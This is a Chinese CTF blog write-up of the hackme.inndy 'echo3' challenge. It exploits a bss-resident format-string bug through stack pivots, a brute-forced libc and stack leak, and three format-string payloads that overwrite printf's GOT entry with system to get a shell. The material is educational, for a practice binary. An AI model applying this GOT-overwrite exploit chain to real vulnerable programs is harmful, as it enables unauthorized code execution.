本文最后更新于:星期三, 一月 2日 2019, 4:12 下午

防护机制:

[*] '/home/zs0zrc/pwn/Scoreboard/echo3/echo3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这道题是echo 和echo2的升级版,也是一个格式化字符串漏洞,不过它将printf的格式化字符串放到了bss段上去了。一般来说格式化字符串在bss段的话,就要在栈上构造跳板,通过跳板实现任意地址写。具体点就是,找到栈上指向栈的指针,向指针写入got表地址,然后再通过这实现任意地址写

main函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  void *v3; // esp
  int fd; // [esp+14h] [ebp-1Ch]
  int buf; // [esp+18h] [ebp-18h]
  unsigned int v6; // [esp+24h] [ebp-Ch]
  int *v7; // [esp+28h] [ebp-8h]

  v7 = &argc;
  v6 = __readgsdword(0x14u);
  setbuf(stdout, 0);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
  {
    puts("urandom error");
    exit(1);
  }
  read(fd, &buf, 8u);
  read(fd, &magic, 4u);
  close(fd);
  v3 = alloca(16 * (((buf & 0x3039u) + 30) / 0x10));//它在这里做了一个抬栈的操作
  hardfmt();
}

这里打开了/dev/urandom文件,读取了8个字节到buf中,读取了4个字节到magic中。并且它利用alloca函数,做了一个抬栈的操作,alloca函数的作用是分配内存,不过是向栈申请内存。在这里被用来抬栈,而且每次都是随机的,所以要先爆破一下,泄露出地址后才进行下一步

stack 的情况

随机抬高后的栈大部分就像这样子

pwndbg> stack 100
00:0000│ esp  0xffffaf1c —▸ 0x804864b (hardfmt+133) ◂— add    esp, 0x10
01:0004│      0xffffaf20 —▸ 0x804a080 (buff) ◂— 'aaaa\n'
... ↓
03:000c│      0xffffaf28 ◂— 0x1000
04:0010│      0xffffaf2c ◂— 0x0
05:0014│      0xffffaf30 ◂— 'n,D*'
06:0018│      0xffffaf34 ◂— 0x0
... ↓
0c:0030│      0xffffaf4c —▸ 0x80485d2 (hardfmt+12) ◂— add    ebx, 0x1a2e
0d:0034│      0xffffaf50 ◂— 0x0
... ↓
0f:003c│      0xffffaf58 —▸ 0xffffaf30 ◂— 'n,D*'
10:0040│      0xffffaf5c ◂— 0x519ab900
11:0044│      0xffffaf60 ◂— 0x0
12:0048│      0xffffaf64 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
13:004c│ ebp  0xffffaf68 —▸ 0xffffcfc8 ◂— 0x0
14:0050│      0xffffaf6c —▸ 0x804877b (main+236) ◂— mov    eax, 0
15:0054│      0xffffaf70 ◂— 0x0
... ↓

这是我用到的栈情况,可以通过gdb调试,在alloca函数上下个断点,然后通过 set $eax=0x20来获得

pwndbg> stack 100
00:0000│ esp  0xffbf8a6c —▸ 0x804864b (hardfmt+133) ◂— add    esp, 0x10
01:0004│      0xffbf8a70 —▸ 0x804a080 (buff) ◂— 0x35353325 ('%355')
... ↓
03:000c│      0xffbf8a78 ◂— 0x1000
04:0010│      0xffbf8a7c ◂— 0x1
05:0014│      0xffbf8a80 ◂— 0x6c018c2e
06:0018│      0xffbf8a84 —▸ 0x804829c ◂— add    byte ptr [ecx + ebp*2 + 0x62], ch
07:001c│      0xffbf8a88 —▸ 0xf77ec918 ◂— 0x0
08:0020│      0xffbf8a8c ◂— 0x0
09:0024│      0xffbf8a90 —▸ 0xffbf8ace ◂— 0x30804
0a:0028│      0xffbf8a94 —▸ 0xf75fe018 ◂— stosd  dword ptr es:[edi], eax
0b:002c│      0xffbf8a98 —▸ 0xf765321b (setbuffer+11) ◂— add    ebx, 0x151de5
0c:0030│      0xffbf8a9c —▸ 0x80485d2 (hardfmt+12) ◂— add    ebx, 0x1a2e
0d:0034│      0xffbf8aa0 —▸ 0xf77d67eb (_dl_fixup+11) ◂— add    esi, 0x15815
0e:0038│      0xffbf8aa4 ◂— 0x1
0f:003c│      0xffbf8aa8 —▸ 0xffbf8a80 ◂— 0x6c018c2e
10:0040│      0xffbf8aac ◂— 0x3b9d0100
11:0044│      0xffbf8ab0 —▸ 0xffbf8b18 ◂— 0x0
12:0048│      0xffbf8ab4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
13:004c│ ebp  0xffbf8ab8 —▸ 0xffbf8b18 ◂— 0x0
14:0050│      0xffbf8abc —▸ 0x804877b (main+236) ◂— mov    eax, 0
15:0054│      0xffbf8ac0 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
16:0058│      0xffbf8ac4 —▸ 0x804a060 (magic) ◂— 0x6c018c2e    //偏移为21
17:005c│      0xffbf8ac8 —▸ 0xf76c92ac (__close_nocancel+18) ◂— mov    ebx, edx
18:0060│      0xffbf8acc —▸ 0x804874a (main+187) ◂— add    esp, 0x10
19:0064│      0xffbf8ad0 ◂— 0x3
1a:0068│      0xffbf8ad4 —▸ 0x804a060 (magic) ◂— 0x6c018c2e
1b:006c│      0xffbf8ad8 ◂— 0x4
1c:0070│      0xffbf8adc —▸ 0x80486a6 (main+23) ◂— add    ebx, 0x195a
1d:0074│      0xffbf8ae0 ◂— 0x8000
1e:0078│      0xffbf8ae4 —▸ 0xf77a5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
1f:007c│      0xffbf8ae8 —▸ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q')    //这是选择的跳板
20:0080│      0xffbf8aec —▸ 0xffbf8bc4 —▸ 0xffbfa2b2 ◂— './echo3'    //
21:0084│      0xffbf8af0 ◂— 0x1
22:0088│      0xffbf8af4 ◂— 0x0
23:008c│      0xffbf8af8 —▸ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q')
24:0090│      0xffbf8afc ◂— 0x3
25:0094│      0xffbf8b00 ◂— 0x6771084c
26:0098│      0xffbf8b04 ◂— 0xedf68435
27:009c│      0xffbf8b08 —▸ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q')
28:00a0│      0xffbf8b0c ◂— 0x3b9d0100
29:00a4│      0xffbf8b10 —▸ 0xffbf8b30 ◂— 0x1
2a:00a8│      0xffbf8b14 ◂— 0x0
... ↓
2c:00b0│      0xffbf8b1c —▸ 0xf760b637 (__libc_start_main+247) ◂— add    esp, 0x10
2d:00b4│      0xffbf8b20 —▸ 0xf77a5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
2f:00bc│      0xffbf8b28 ◂— 0x0
30:00c0│      0xffbf8b2c —▸ 0xf760b637 (__libc_start_main+247) ◂— add    esp, 0x10
31:00c4│      0xffbf8b30 ◂— 0x1
32:00c8│      0xffbf8b34 —▸ 0xffbf8bc4 —▸ 0xffbfa2b2 ◂— './echo3'
33:00cc│      0xffbf8b38 —▸ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q')
34:00d0│      0xffbf8b3c ◂— 0x0
... ↓
37:00dc│      0xffbf8b48 —▸ 0xf77a5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
38:00e0│      0xffbf8b4c —▸ 0xf77ecc04 ◂— 0x0
39:00e4│      0xffbf8b50 —▸ 0xf77ec000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c
3a:00e8│      0xffbf8b54 ◂— 0x0
3b:00ec│      0xffbf8b58 —▸ 0xf77a5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
3d:00f4│      0xffbf8b60 ◂— 0x0
3e:00f8│      0xffbf8b64 ◂— 0xc11ec013
3f:00fc│      0xffbf8b68 ◂— 0x7f634e02
40:0100│      0xffbf8b6c ◂— 0x0
... ↓
43:010c│      0xffbf8b78 ◂— 0x1
44:0110│      0xffbf8b7c —▸ 0x80484b0 (_start) ◂— xor    ebp, ebp
45:0114│      0xffbf8b80 ◂— 0x0
46:0118│      0xffbf8b84 —▸ 0xf77dd010 (_dl_runtime_resolve+16) ◂— pop    edx
47:011c│      0xffbf8b88 —▸ 0xf77d7880 (_dl_fini) ◂— push   ebp
48:0120│      0xffbf8b8c —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
49:0124│      0xffbf8b90 ◂— 0x1
4a:0128│      0xffbf8b94 —▸ 0x80484b0 (_start) ◂— xor    ebp, ebp
4b:012c│      0xffbf8b98 ◂— 0x0
4c:0130│      0xffbf8b9c —▸ 0x80484e2 (_start+50) ◂— hlt    
4d:0134│      0xffbf8ba0 —▸ 0x804868f (main) ◂— lea    ecx, [esp + 4]
4e:0138│      0xffbf8ba4 ◂— 0x1
4f:013c│      0xffbf8ba8 —▸ 0xffbf8bc4 —▸ 0xffbfa2b2 ◂— './echo3'
50:0140│      0xffbf8bac —▸ 0x80487a0 (__libc_csu_init) ◂— push   ebp
51:0144│      0xffbf8bb0 —▸ 0x8048800 (__libc_csu_fini) ◂— ret    
52:0148│      0xffbf8bb4 —▸ 0xf77d7880 (_dl_fini) ◂— push   ebp
53:014c│      0xffbf8bb8 —▸ 0xffbf8bbc —▸ 0xf77ec918 ◂— 0x0
54:0150│      0xffbf8bbc —▸ 0xf77ec918 ◂— 0x0
55:0154│      0xffbf8bc0 ◂— 0x1
56:0158│      0xffbf8bc4 —▸ 0xffbfa2b2 ◂— './echo3'    //偏移为85
57:015c│      0xffbf8bc8 ◂— 0x0
58:0160│      0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q')    //偏移为87
59:0164│      0xffbf8bd0 —▸ 0xffbfa2db ◂— 0x5f474458 ('XDG_')
5a:0168│      0xffbf8bd4 —▸ 0xffbfa30d ◂— 0x4d4f4e47 ('GNOM')
5b:016c│      0xffbf8bd8 —▸ 0xffbfa339 ◂— 0x435f434c ('LC_C')
5c:0170│      0xffbf8bdc —▸ 0xffbfa34e ◂— 0x5f474458 ('XDG_')
5d:0174│      0xffbf8be0 —▸ 0xffbfa368 ◂— 0x5f474458 ('XDG_')
5e:0178│      0xffbf8be4 —▸ 0xffbfa37d ◂— 0x495f5451 ('QT_I')
5f:017c│      0xffbf8be8 —▸ 0xffbfa38f ◂— 'LOGNAME=zs0zrc'
60:0180│      0xffbf8bec —▸ 0xffbfa39e ◂— 'USER=zs0zrc'
61:0184│      0xffbf8bf0 —▸ 0xffbfa3aa ◂— 0x48544150 ('PATH')
62:0188│      0xffbf8bf4 —▸ 0xffbfa43b ◂— 'XDG_VTNR=7'
63:018c│      0xffbf8bf8 —▸ 0xffbfa446 ◂— 0x4d4f4e47 ('GNOM')

先爆破,泄露出libc地址和栈的地址

while True:
    p = process('./echo3')
    payload = '%43$p#%30$p'
    p.sendline(payload)
    data = p.recvuntil('#',drop = True)
    if data[-3:] == '637':
        break
    p.close()

leak_libc = int(data,16) - 247
libc_base = leak_libc - libc.symbols['__libc_start_main']
log.info("libc address {}".format(hex(libc_base)))
leak_stack = int(p.recv().strip('\n'),16)
log.info("leak stack address{}".format(hex(leak_stack)))
stack1 = leak_stack - 0x10c
stack2 = leak_stack - 0x108

因为格式化字符串在bss段上,所以先要在栈上找到指向栈的指针,这里用到的是

1f:007c│      0xffbf8ae8 —▸ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q')
20:0080│      0xffbf8aec —▸ 0xffbf8bc4 —▸ 0xffbfa2b2 ◂— './echo3'

修改为

1f:007c│      0xffbf8ae8 —▸ 0xffbf8bcc —▸0x804a000 (_GLOBAL_OFFSET_TABLE_)
20:0080│      0xffbf8aec —▸ 0xffbf8bc4 —▸0x804a060 (magic)

payload:

payload1 = "%{}c%{}$hn".format(stack1 & 0xffff, 30)
payload1 += "%{}c%{}$hn".format(4, 31)
payload1 += '1111'

这时再通过修改0xffbf8bcc和0xffbf8bc4 的内容为 print_got和printf_got+2

32:00c8│      0xffbf8b34 —▸ 0xffbf8bc4 —▸ 0xffbf8ac4 —▸ 0x804a014
33:00cc│      0xffbf8b38 —▸ 0xffbf8bcc —▸ 0xffbf8ac0 —▸ 0x804a016

payload:

payload2 = "%{}c%{}$hn".format(printf_got & 0xffff, 85)
payload2 += "%{}c%{}$hn".format(2, 87)
payload2 += "2222"

最后向printf_got中写入system函数地址,发送’/bin/sh\x00’字符串,getshell

payload:

payload3 = "%{}c%{}$hhn".format(system>> 16 & 0xff, 20)
payload3 += "%{}c%{}$hn".format((system& 0xffff) - (system >> 16 & 0xff), 21)
payload3 += "3333"

在这里膜下M4X大佬和D4rk3r大佬
参考了他们的wirteup
M4X
D4rk3r


hackme.inndy_writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!